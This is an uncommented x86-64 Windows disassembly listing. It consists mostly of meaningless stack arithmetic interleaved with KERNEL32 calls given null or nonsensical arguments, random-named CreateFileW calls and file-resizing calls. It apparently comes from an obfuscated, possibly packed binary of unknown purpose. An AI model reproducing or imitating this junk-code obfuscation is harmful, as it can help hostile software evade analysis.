mov rax, qword [rsp + 0x19c88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19e30]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x7db], al
mov rax, qword [rsp + 0x19768]
movzx eax, word [rax]
mov word [rsp + 0x3868], ax
mov eax, dword [rsp + 0xd128]
mov ecx, dword [rsp + 0x9960]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fa4], eax
mov rax, qword [rsp + 0x19988]
mov ecx, dword [rsp + 0xd3b0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce30], eax
movzx eax, byte [rsp + 0x788]
mov byte [rsp + 0x814], al
mov rax, qword [rsp + 0x19e00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x199a0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19ea0]
mov word [rcx], ax
mov eax, dword [rsp + 0xce1c]
mov ecx, dword [rsp + 0xd02c]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad758], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
lea rdx, [rsp + 0x2c158]
mov rcx, qword [rsp + 0x19b30]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcddc], eax
lea rax, [rsp + 0xd124]
mov qword [rsp + 0x1a210], rax
mov rax, qword [rsp + 0x19a18]
mov ecx, dword [0x1402bf5d8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19ba0]
mov ecx, dword [rsp + 0xcb7c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd3dc], eax
lea rax, [rsp + 0x795]
mov qword [rsp + 0x1a218], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xcebc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0x19f38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19d18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a30], ax
mov eax, dword [rsp + 0xd0d4]
mov dword [rsp + 0xd594], eax
mov rax, qword [rsp + 0x19a48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf94], eax
mov rax, qword [rsp + 0x19f58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa234]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcff4], eax
mov eax, dword [rsp + 0xd33c]
movzx ecx, al
mov eax, dword [rsp + 0xd0ec]
sar eax, cl
mov dword [0x1402ad71c], eax
mov rax, qword [0x1402bf610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2d4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa798], eax
movsx eax, word [rsp + 0x371c]
movsx ecx, word [rsp + 0x3304]
xor eax, ecx
mov word [rsp + 0x3710], ax
lea rax, [rsp + 0x7b0]
mov qword [rsp + 0x1a220], rax
movzx ecx, word [rsp + 0x35d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x37b8], ax
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
movzx ecx, word [0x1402ad784]
cdq
idiv ecx
mov word [rsp + 0x35bc], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x306]
mov byte [rsp + 0x815], al
mov rax, qword [rsp + 0x19ac0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19bf8]
mov qword [rsp + 0x1a228], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a228]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd420], eax
mov rax, qword [0x1402bf718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd024], eax
movzx eax, byte [rsp + 0x80e]
mov byte [rsp + 0x816], al
lea rax, [rsp + 0x3660]
mov qword [0x1402bf588], rax
mov edx, 0x478686
mov rcx, qword [rsp + 0x19ae0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xd07c], eax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x19a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd314], eax
mov rax, qword [rsp + 0x198b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd150]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc2e4], eax
mov rax, qword [rsp + 0x19d70]
mov rcx, qword [rsp + 0x19f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcea4], eax
mov rax, qword [rsp + 0x1a168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd590]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd334], eax
mov rax, qword [rsp + 0x19aa8]
movzx eax, word [rax]
mov word [rsp + 0x386c], ax
movzx eax, byte [rsp + 0x795]
movzx ecx, byte [rsp + 0x80f]
and eax, ecx
mov byte [rsp + 0x814], al
mov eax, dword [0x1402ad714]
mov dword [rsp + 0xd598], eax
mov rax, qword [rsp + 0x19d98]
mov rcx, qword [rsp + 0x19f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd2cc], eax
mov rax, qword [rsp + 0x19ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19940]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402bf61c], ax
movsx eax, byte [0x1402bf78c]
mov rcx, qword [rsp + 0x1a220]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x78b], al
mov rax, qword [rsp + 0x19fe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ea4]
add eax, ecx
mov word [rsp + 0x2b68], ax
lea rcx, str.Lrm0pV8x_k3mMdb.VAXtRCUbiuX
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3790], ax
movzx eax, byte [rsp + 0x7cd]
movzx ecx, byte [rsp + 0x80b]
or eax, ecx
mov byte [rsp + 0x795], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x19f58]
mov eax, dword [rax]
mov dword [rsp + 0xd59c], eax
mov eax, dword [rsp + 0xcff4]
mov rcx, qword [rsp + 0x19bf8]
mov qword [rsp + 0x1a230], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a230]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xce7c], eax
mov eax, dword [0x1402ad6b0]
mov dword [rsp + 0xd5a0], eax
mov eax, dword [rsp + 0xb9f4]
movzx ecx, al
mov eax, dword [rsp + 0xd170]
shl eax, cl
mov dword [rsp + 0xd370], eax
mov rax, qword [rsp + 0x19fb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd0a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xce58], eax
movzx eax, word [0x1402ad650]
mov rcx, qword [rsp + 0x19be8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x3174], ax
mov rax, qword [rsp + 0x1a1d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e7]
and eax, ecx
mov byte [0x1402acbcf], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.QKJdYIEqDsY9K4RlXyOrTW7yer15
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a238], rax
mov rax, qword [rsp + 0x19b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc8f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7bc], eax
mov rax, qword [rsp + 0x19d70]
mov eax, dword [rax]
mov dword [rsp + 0xd5a4], eax
mov rax, qword [rsp + 0x19f50]
mov ecx, dword [rsp + 0xd2b0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x199f8]
mov rcx, qword [0x1402bf760]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce04], eax
lea rdx, [rsp + 0xd248]
mov rcx, qword [rsp + 0x19f40]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xd304], eax
movzx eax, word [rsp + 0x382c]
mov word [rsp + 0x3870], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcc]
sub eax, ecx
mov byte [rsp + 0x78e], al
mov rax, qword [0x1402bf5e0]
movzx eax, byte [rax]
mov byte [rsp + 0x817], al
mov rax, qword [rsp + 0x19ec8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a190]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2f94], ax
mov rax, qword [rsp + 0x19ea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xadd0]
and ecx, eax
mov eax, ecx
mov dword [0x1402bf6dc], eax
mov eax, dword [rsp + 0xd340]
mov ecx, dword [rsp + 0xce88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd270], eax
lea rax, [rsp + 0x3664]
mov qword [rsp + 0x1a240], rax
mov rax, qword [rsp + 0x19c28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19a50]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1a1d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x19d70]
mov rcx, qword [rsp + 0x19d98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa728], eax
mov rax, qword [rsp + 0x19ea8]
mov ecx, dword [rsp + 0xd1a8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd198], eax
mov rax, qword [rsp + 0x1a000]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb710]
sar eax, cl
mov dword [rsp + 0xd554], eax
lea rax, [rsp + 0xbd84]
mov qword [rsp + 0x1a248], rax
movzx eax, word [rsp + 0x3860]
movzx ecx, word [rsp + 0x36d0]
cdq
idiv ecx
mov word [rsp + 0x3854], ax
movzx eax, byte [0x1402bf711]
mov byte [0x1402bf580], al
lea rax, [rsp + 0xcb7c]
mov qword [rsp + 0x1a250], rax
mov rax, qword [rsp + 0x19d98]
mov ecx, dword [rsp + 0xd194]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x19d38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a008]
mov eax, dword [rax]
mov dword [rsp + 0xd5a8], eax
mov eax, dword [rsp + 0xd194]
movzx ecx, al
mov eax, dword [rsp + 0x9d94]
shl eax, cl
mov dword [rsp + 0xb998], eax
mov rax, qword [rsp + 0x19f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd488]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19ab0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19f90]
movzx eax, word [rax]
mov word [rsp + 0x3874], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd274], eax
movsx eax, byte [0x1402acb8b]
movsx ecx, byte [rsp + 0x17d]
sub eax, ecx
mov byte [rsp + 0x79c], al
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19c70]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x30c], al
movzx eax, word [rsp + 0x3264]
movzx ecx, word [rsp + 0x37f8]
add eax, ecx
mov word [0x1402ad704], ax
mov rax, qword [rsp + 0x19a20]
mov rcx, qword [rsp + 0x19cb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd590], eax
mov rax, qword [rsp + 0x1a0b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19910]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x1a258], rax
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov word [rsp + 0x3878], ax
mov rax, qword [rsp + 0x19b78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x793]
add eax, ecx
mov byte [rsp + 0x80f], al
lea rax, [rsp + 0x909c]
mov qword [rsp + 0x1a260], rax
mov rcx, qword [rsp + 0x19e20]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xcd28], eax
mov rax, qword [0x1402bf740]
mov ecx, dword [rsp + 0xd1d0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x1a168]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [rsp + 0xce20]
mov ecx, dword [rsp + 0xd134]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9498], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xcdb8], eax
lea rax, [rsp + 0xcf88]
mov qword [rsp + 0x1a268], rax
movzx eax, word [rsp + 0x3798]
mov rcx, qword [rsp + 0x19ec0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1402ad790], ax
movzx eax, byte [rsp + 0x7d8]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x7aa], al
mov rax, qword [rsp + 0x19eb0]
mov eax, dword [rax]
mov dword [rsp + 0xd5ac], eax
mov rax, qword [0x1402bf628]
mov rcx, qword [rsp + 0x1a000]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd2c4], eax
movsx eax, word [rsp + 0x3524]
movsx ecx, word [rsp + 0x3708]
xor eax, ecx
mov word [rsp + 0x2234], ax
lea rax, str._v_ap
mov qword [rsp + 0x1a270], rax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a2]
add eax, ecx
mov byte [rsp + 0x797], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x36b8]
imul eax, eax, 0x93c
mov word [rsp + 0x2d04], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xce0c], eax
mov eax, dword [rsp + 0xd408]
mov ecx, dword [rsp + 0x9960]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf34], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov eax, dword [rsp + 0xd024]
mov ecx, dword [rsp + 0xce34]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad794], eax
mov rax, qword [rsp + 0x19a30]
mov eax, dword [rax]
mov dword [rsp + 0xd5b0], eax
mov rax, qword [0x1402bf6c0]
mov ecx, dword [rsp + 0xcf70]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1a1b8]
mov dword [rcx], eax
lea rcx, str.jNXCmk
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x37d0], ax
mov rax, qword [rsp + 0x19d98]
mov ecx, dword [rsp + 0x8cc0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8940], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1a278], rax
movzx eax, word [rsp + 0x37f4]
mov word [rsp + 0x387c], ax
movzx eax, byte [0x1402acbc2]
mov rcx, qword [rsp + 0x1a0a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7ca], al
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x19a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb66c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x196d0], rax
mov rax, qword [rsp + 0x19f88]
mov rcx, qword [0x1402bf6c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd0e4], eax
mov eax, dword [rsp + 0xceb0]
mov ecx, dword [rsp + 0xd080]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd130], eax
mov r9d, 2
lea r8, [rsp + 0x19cd0]
mov rdx, qword [rsp + 0x19718]
mov rcx, qword [rsp + 0x199e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xcd24], eax
mov rax, qword [rsp + 0x1a178]
mov rcx, qword [rsp + 0x19c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402ad6f0], eax
mov rax, qword [rsp + 0x1a1c0]
movzx eax, word [rax]
mov word [rsp + 0x3880], ax
movzx eax, byte [rsp + 0x63d]
mov rcx, qword [rsp + 0x1a0b0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7a2], al
lea rax, [rsp + 0x7fc]
mov qword [rsp + 0x1a280], rax
mov rax, qword [0x1402bf6a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a028]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3708], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x19dc0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19e50]
mov qword [rsp + 0x1a288], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a288]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x19e88]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd158]
mov dword [rsp + 0xd5b4], eax
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a1c0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x19aa8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x4f3]
movzx ecx, byte [rsp + 0x811]
shl eax, cl
mov byte [rsp + 0x1e7], al
mov rax, qword [rsp + 0x1a250]
mov ecx, dword [0x1402ad644]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad6b8], eax
mov rax, qword [rsp + 0x19df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd290]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19cc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov dword [rsp + 0xd5b8], eax
mov ecx, 0xf
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xce70], eax
mov rcx, qword [rsp + 0x19748]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xd48c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xceec], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1402bf670]
mov rcx, qword [rsp + 0x199f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd498], eax
movzx eax, word [rsp + 0x3828]
movzx ecx, word [rsp + 0x3848]
sub eax, ecx
mov word [rsp + 0x308c], ax
mov rax, qword [rsp + 0x19d00]
movzx eax, byte [rax]
mov byte [rsp + 0x818], al
mov rax, qword [rsp + 0x19740]
mov rcx, qword [rsp + 0x19bd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd094], eax
lea rdx, [rsp + 0x2c120]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xd250], eax
mov rax, qword [rsp + 0x19d20]
mov eax, dword [rax]
mov dword [rsp + 0xd5bc], eax
mov rax, qword [rsp + 0x1a1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd354]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x93f0], eax
mov rax, qword [0x1402bf628]
mov eax, dword [rax]
mov dword [0x1402bf57c], eax
lea rcx, [rsp + 0x2af50]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x198b8]
mov ecx, dword [rsp + 0xd398]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcf30], eax
movsx eax, byte [rsp + 0x807]
mov rcx, qword [rsp + 0x19ff0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x28e], al
mov rax, qword [rsp + 0x19940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x37dc]
add eax, ecx
mov word [rsp + 0x3748], ax
movzx eax, byte [rsp + 0x808]
mov byte [rsp + 0x819], al
mov rax, qword [rsp + 0x1a030]
movzx eax, word [rax]
movzx ecx, word [0x1402bf5b0]
sub eax, ecx
mov word [rsp + 0x36d4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.QsqBiO
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a290], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov eax, dword [rsp + 0xcf9c]
mov ecx, dword [rsp + 0xd514]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x92dc], eax
mov eax, dword [rsp + 0xcf1c]
mov dword [rsp + 0xd5c0], eax
mov rcx, qword [rsp + 0x1a290]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xd29c], eax
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3684]
sar eax, cl
mov word [rsp + 0x3654], ax
mov rax, qword [rsp + 0x19fb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7f2]
xor eax, ecx
mov byte [0x1402acbee], al
mov eax, dword [rsp + 0x9354]
mov rcx, qword [rsp + 0x19af0]
mov qword [rsp + 0x1a298], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a298]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9674], eax
mov rax, qword [rsp + 0x19e98]
mov ecx, dword [rsp + 0xcec4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb35c], eax
mov rax, qword [rsp + 0x19750]
mov ecx, dword [rsp + 0x9f50]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd280], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov dword [rsp + 0xd5c4], eax
mov rax, qword [0x1402bf668]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a240]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3698], ax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
mov byte [rsp + 0x81a], al
mov rax, qword [rsp + 0x19d10]
mov ecx, dword [0x1402ad634]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd290], eax
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x911c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f20], eax
movsx eax, word [rsp + 0x3748]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402bf708]
mov word [rcx], ax
mov rax, qword [rsp + 0x19d50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7fc]
add eax, ecx
mov rcx, qword [rsp + 0x199d0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x19bb8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xcf04], eax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19d90]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7a2], al
movzx eax, word [rsp + 0x3838]
mov word [rsp + 0x3884], ax
mov eax, dword [rsp + 0xd184]
mov ecx, dword [rsp + 0xd16c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcffc], eax
mov rax, qword [rsp + 0x19ba0]
mov eax, dword [rax]
mov dword [rsp + 0xd5c8], eax
mov eax, dword [rsp + 0xd030]
mov ecx, dword [rsp + 0xd0cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd3f0], eax
mov eax, dword [rsp + 0xd560]
mov rcx, qword [rsp + 0x198b8]
mov qword [rsp + 0x1a2a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a2a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcef0], eax
lea rdx, [rsp + 0x2c190]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xce70], eax
mov rax, qword [rsp + 0x1a200]
mov rcx, qword [rsp + 0x19c48]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8f44], eax
movzx eax, byte [0x1402acbbe]
movzx ecx, byte [rsp + 0x4c2]
xor eax, ecx
mov byte [rsp + 0x813], al
mov rax, qword [rsp + 0x19e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19950]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1402ad798], ax
mov rax, qword [rsp + 0x1a0d0]
mov eax, dword [rax]
mov dword [rsp + 0xd5cc], eax
mov rax, qword [rsp + 0x1a140]
mov rcx, qword [rsp + 0x19ab0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd51c], eax
mov rax, qword [rsp + 0x19c30]
mov rcx, qword [rsp + 0x19cd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd048], eax
mov rcx, qword [rsp + 0x19748]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x19ea8]
mov eax, dword [rax]
mov dword [rsp + 0xd5d0], eax
movzx eax, byte [rsp + 0x79f]
movzx ecx, byte [rsp + 0x7d7]
add eax, ecx
mov byte [rsp + 0x7be], al
movzx eax, word [rsp + 0x3860]
mov word [rsp + 0x3888], ax
movsx eax, word [rsp + 0x31a4]
mov rcx, qword [rsp + 0x19940]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3708], ax
movsx eax, byte [0x1402acbb2]
movsx ecx, byte [rsp + 0x7a5]
sub eax, ecx
mov byte [rsp + 0x13c], al
mov rax, qword [rsp + 0x19b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd08c]
and ecx, eax
mov eax, ecx
mov dword [0x1402bf5f8], eax
lea rcx, [rsp + 0x2d650]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd48c], eax
mov rax, qword [rsp + 0x199c8]
mov ecx, dword [0x1402ad734]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd55c], eax
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x284c]
sub eax, ecx
mov word [rsp + 0x37b4], ax
movzx eax, byte [rsp + 0x1e7]
mov byte [rsp + 0x81b], al
mov rax, qword [0x1402bf5f0]
mov rcx, qword [rsp + 0x198e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd3d0], eax
mov ecx, 0xf
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd250], eax
mov rax, qword [rsp + 0x19f58]
mov eax, dword [rax]
mov dword [rsp + 0xd5d4], eax
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd300]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd230], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x2af28]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [rsp + 0xcea4]
mov ecx, dword [0x1402ad6c0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9418], eax
mov rax, qword [rsp + 0x1a0d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19ea0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f40], ax
mov rax, qword [rsp + 0x19d90]
movzx eax, byte [rax]
mov byte [0x1402bf579], al
mov rax, qword [rsp + 0x19ea8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402ad780]
shl eax, cl
mov dword [rsp + 0xc9c8], eax
mov eax, dword [rsp + 0xd108]
mov dword [rsp + 0xd5d8], eax
mov eax, dword [rsp + 0xcde4]
mov rcx, qword [rsp + 0x1a200]
mov qword [rsp + 0x1a2a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a2a8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd254], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [0x1402bf770]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb7b8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0x19c78]
